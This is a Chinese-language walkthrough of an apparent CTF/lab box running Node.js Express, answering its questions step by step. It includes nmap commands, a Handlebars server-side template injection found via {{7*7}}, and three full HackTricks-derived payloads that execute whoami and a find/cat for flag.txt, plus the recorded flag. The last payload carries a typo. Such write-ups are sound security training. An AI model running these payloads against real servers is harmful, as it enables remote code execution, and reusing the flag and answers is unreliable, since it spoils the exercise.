一、nmap 将哪些 TCP 端口标识为打开?从低到高,英文逗号隔开
1
2
3
#nmap扫描目标IP
nmap -sV -sC IP
22,80

image-20230313104132830

二、什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?
1
Node.js
三、根据Wappalyzer的说法,Web框架的名称是什么?
1
Express

image-20230313104757061

四、我们通过提交 49 测试的漏洞的名称是什么?
1
2
#SSTI服务器端模板注入
Server Side Template Injection
五、Node.JS 中使用的模板引擎是什么?
1
2
#再网页中提交{{7*7}},burp抓包查看错误信息
handlebars

image-20230313105429598

六、用于编码文本的 BurpSuite 选项卡的名称是什么?
1
Decoder
七、为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?
1
url
八、当我们使用来自 HackTricks 的有效负载来尝试运行系统命令时,我们会收到错误。响应错误中的“未定义”是什么?
1
2
3
4
#在下面的网址中找到Handlebars (NodeJS)对应的POC,修改命令使用decoder url编码
#https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
#使用burp发送url编码后的payload
require
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#POC
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

image-20230313112101360

九、Node.JS 中顶级作用域的名称是什么变量?
1
global
十、通过利用此漏洞,我们以运行 Web 服务器的用户身份执行命令。该用户的名称是什么?
1
2
#将POC进行URL编码,使用burp发送poc
root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

image-20230313145622934

十一、提交flag
1
2
#将POC修改为find / type f -name flag.txt 2>/dev/null -exec cat {} \;
6b258d726d287462d60c103d0142a81c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#POC
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('find / tyep f -name flag.txt 2>/dev/null -exec cat {} \');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

image-20230313151832481

总结
  • find -exec命令
  • SSTI服务端模板注入